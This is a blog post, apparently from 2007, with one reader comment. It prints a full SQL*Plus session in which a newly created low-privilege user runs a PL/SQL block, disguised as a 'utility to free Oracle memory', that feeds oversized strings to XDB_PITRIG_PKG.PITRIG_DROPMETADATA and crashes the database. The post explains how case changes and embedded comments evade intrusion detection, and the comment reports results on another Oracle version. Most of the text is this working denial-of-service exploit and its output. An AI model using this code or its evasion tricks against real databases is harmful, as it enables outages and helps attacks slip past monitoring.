SQL> grant create session to x identified by x; Grant succeeded. SQL> connect x/x Connected. SQL> edit Wrote file afiedt.buf 1 -- Utility to free Oracle memory 2 declare 3 larry varchar2(32767); 4 mary varchar2(32767); 5 begin 6 larry:='larryellison'; 7 larry:=larry||larry; 8 larry:=larry||larry; 9 larry:=larry||larry; 10 larry:=larry||larry; 11 larry:=larry||larry; 12 larry:=larry||larry; 13 larry:=larry||larry; 14 mary:='maryann'; 15 mary:=mary||mary; 16 mary:=mary||mary; 17 mary:=mary||mary; 18 mary:=mary||mary; 19 mary:=mary||mary; 20 mary:=mary||mary; 21 mary:=mary||mary; 22 mary:=mary||mary; 23 xDb 24 /*Mary*/./*And*/XDB_PITRIG_PKG/*Larry*/./**/PITRIG_DROPMETADATA(mary 25 , larry); 26* end; SQL> / declare * ERROR at line 2: ORA-03135: connection lost contact SQL> connect system/manager ERROR: ORA-12514: TNS:listener does not currently know of service requested in connect descriptor SQL> connect system/manager Connected. SQL> |
As you can see running this Oracle exploit code causes the connection to the database to be lost. This in fact has crashed the database. I had to restart the database:
The interesting thing with this exploit is that it uses some IDS evasion techniques. It uses case changes and also embedded comments to throw off IDS and IPS software that use simple rules to detect this type of attack.
November 8th, 2007 at 08:13 pm
Pete Finnigan says:
Tried this on 10.2.0.2 on Tru64 both with and without CPUOct2007. Both versions had the following error, but neither database crashed.
exception system: exiting due to multiple internal errors:
exception dispatch or unwind stuck in infinite loop
exception dispatch or unwind stuck in infinite loop
declare
*
ERROR at line 1:
ORA-03113: end-of-file on communication channel